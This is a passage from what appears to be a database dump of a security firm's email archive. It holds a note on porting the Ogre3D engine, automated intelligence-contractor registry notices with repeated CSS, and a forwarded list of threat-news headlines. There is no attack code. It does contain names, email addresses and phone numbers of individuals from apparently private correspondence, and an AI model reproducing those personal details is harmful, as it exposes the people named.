XBox\r\nhttp://www.venetica-game.com/  (that site is full of flash, just lookup Venetica to see screenshots, its good)\r\nand is using the same rendering engine we do, Ogre3D,\r\n \r\nI found this post that confirms that you can port the ogre3d engine to XBox\r\nhttp://www.deck13.com/cgi-bin/yabb2/YaBB.pl?num=1253100151/3\r\n \r\nthat is one major console supported, in addition to PC.\r\n \r\nI also found this post\r\nhttp://www.ogre3d.org/forums/viewtopic.php?f=2&amp;t=55208&amp;start=0\r\nthat verifies you can build Ogre3D for the iPhone,\r\nwhich means the iPad is also possible.\r\n \r\nThe above verifies that we have chosen a rendering platform that can be ported to mobile devices and consoles.  That is a Good Thing.\r\n \r\n-Greg\r\n \r\n',8226,'aaron_hbgary_com/8226.html'),(11003,'2010-08-30','arc@westfields.net','/aaron@hbgary.com/new/1297008443.M630331P14101Q5859.eml','federal@hbgary.com','COMM / Roubaix Updated Schedule','\r\nThe schedule has been updated on the NRO/COMM-Roubaix effort website.  For more information, please logon to the ARC and look at the Schedule tab for this effort.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select COMM /Roubaix from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',16888,'aaron_hbgary_com/16888.html'),(11004,'2010-08-30','arc@westfields.net','/aaron@hbgary.com/new/1297008443.M892611P14101Q5860.eml','federal@hbgary.com','ARC Daily Activity Summary','\r\nThis is a daily email notice containing a summary of the active efforts that have had some activity since Friday, 08/27/2010 08:00 AM. Activity is described as one or more documents and/or an announcement being posted to the effort website.\r\n\r\n\r\nUnclassified ARC Efforts\r\n\r\nIARPA/N/A-Rose (Announcement & Document Posting)\r\n\r\n\r\n\r\nCWAN ARC Efforts\r\n\r\nNRO/COMM-Excursion (Announcement)\r\n\r\nNRO/COMM-Roubaix (Announcement)\r\n\r\n\r\n\r\nUnclassified efforts can be viewed on the Internet ARC at https://arc.westfields.net/ Classified efforts can be viewed on the CWAN ARC at http://arc.npa.gov/\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',7694,'aaron_hbgary_com/7694.html'),(11005,'2010-08-30','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008443.M9584P14101Q5856.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Joe Pizzo\" <joe@hbgary.com>','FW: NMCIWG: Daily Computer Threat News (Thu)','\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Saturday, August 28, 2010 12:33 PM\r\nSubject: FW: NMCIWG: Daily Computer Threat News (Thu)\r\n\r\n \r\n\r\nSubject: NMCIWG: Daily Computer Threat News (Thu)\r\n\r\nToday\'s articles: \r\n\r\n*	Defense official discloses cyberattack\r\n*	IT security incidents prompt Nashville, Tenn., to strengthen\r\npolicy, hire IT security chief\r\n*	Three million bogus YouTube pages discovered\r\n*	The dramatic increase of vulnerability disclosures\r\n*	Adobe fixes 20 vulnerabilities in Shockwave Player\r\n*	Apple releases Security Update for Mac OS X\r\n*	Symantec: Rustock botnet pumps most spam despite shrinking\r\n*	Firefox, uTorrent, and PowerPoint hit by Windows DLL bug\r\n*	DDoS botnet family discovered targeting scores of sites\r\n*	Credit card clearing house hacked says security researchers\r\n*	Cyber attacks on banks likely to increase, says expert\r\n*	Six healthcare data breaches that might make security pros sick\r\n*	Most attacks on federal networks financially motivated\r\n*	Virgin Media to warn malware-infected customers\r\n*	Authentication under Windows: A smouldering security problem\r\n*	Fake dislike button Facebook scam\r\n*	NetworkSolutions sites hacked by wicked widget\r\n*	GPU acceleration brings new security risks\r\n*	RIM offers Indian government surveillance tools\r\n*	Indian government: Google, Skype will follow BlackBerry in being\r\nforced to open networks\r\n\r\n \r\n\r\n',2149,'aaron_hbgary_com/2149.html'),(11006,'2010-08-30','arc@westfields.net','/aaron@hbgary.com/new/1297008444.M326915P14101Q5862.eml','federal@hbgary.com','COMM / Excursion Updated Schedule','\r\nThe schedule has been updated on the NRO/COMM-Excursion effort website.  For more information, please logon to the ARC and look at the Schedule tab for this effort.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select COMM /Excursion from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',7129,'aaron_hbgary_com/7129.html'),(11007,'2010-08-30','arc@westfields.net','/aaron@hbgary.com/new/1297008444.M524346P14101Q5863.eml','federal@hbgary.com','SE Sole Source Business Opportunity Posting','\r\nThe NRO/SE Directorate is pleased to announce the release of a Sole Source Business Opportunity on the classified ARC.  It will remain visible for five calendar days. The Contract Type is expected to be: FFP/LOE. The Effort Type is Support Services (O&M).\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Business Opportunities to view the latest Sole Source Opportunites\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an 